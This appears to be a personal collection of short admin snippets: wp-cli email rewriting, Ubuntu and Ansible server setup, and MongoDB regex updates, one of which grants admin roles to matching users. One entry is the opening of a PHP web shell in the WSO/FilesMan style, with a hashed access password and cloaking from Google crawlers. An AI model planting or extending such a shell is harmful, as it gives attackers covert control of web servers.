zohar

wp search-replace '^([^@]*)@(.*)$' '\1@localhost' wp_users --include-columns=user_email --regex --regex-flags='i'

zohar

apt-get -y update && apt-get -y upgrade
locale-gen UTF-8
# vim /etc/default/locale, add LC_ALL="en_US.UTF-8"

apt-add-repository ppa:ansible/ansible
apt-get update
# General packages
apt-get install -y git zip software-properties-common ansible

##############

zohar

ansible masked-servers -m ini_file -a "dest=/etc/php5/fpm/php.ini section=PHP option=max_input_vars value=2000" -b -u ubuntu 
ansible masked-servers -m service -a "name=nginx state=reloaded" -b -u ubuntu

zohar

<?php 
$auth_pass = "a87154cadb595987488efc87a398ecf1"; 
$color = "#00ff00"; 
$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
    header('HTTP/1.0 404 Not Found'); 
    exit; 
} 
@session_start(); 

zohar

// after.2.value - becaus ewe know exactly what to look for
db.test.update({after:{$elemMatch:{"type":"password"}}},{$set:{"after.2.value":'xxxxx'}},{multi:true, upsert:false});

zohar

/*
MongoDB: Find by regular expression and run regex replace on results
*/
db.test.find({"url": { $regex: 'http:\/\/' }}).forEach(function(doc) {
  doc.url = doc.url.replace(/http:\/\/www\.url\.com/g, 'http://another.url.com'); 
  db.test.save(doc);
});

zohar

/*
use regex to update multiple lines in mongo
*/
db.users.update({"email":{$regex:'.*@example.com$'}},{ $set: {"roles" : [ "authenticated", "admin" ] }}, {multi: true, upsert:false})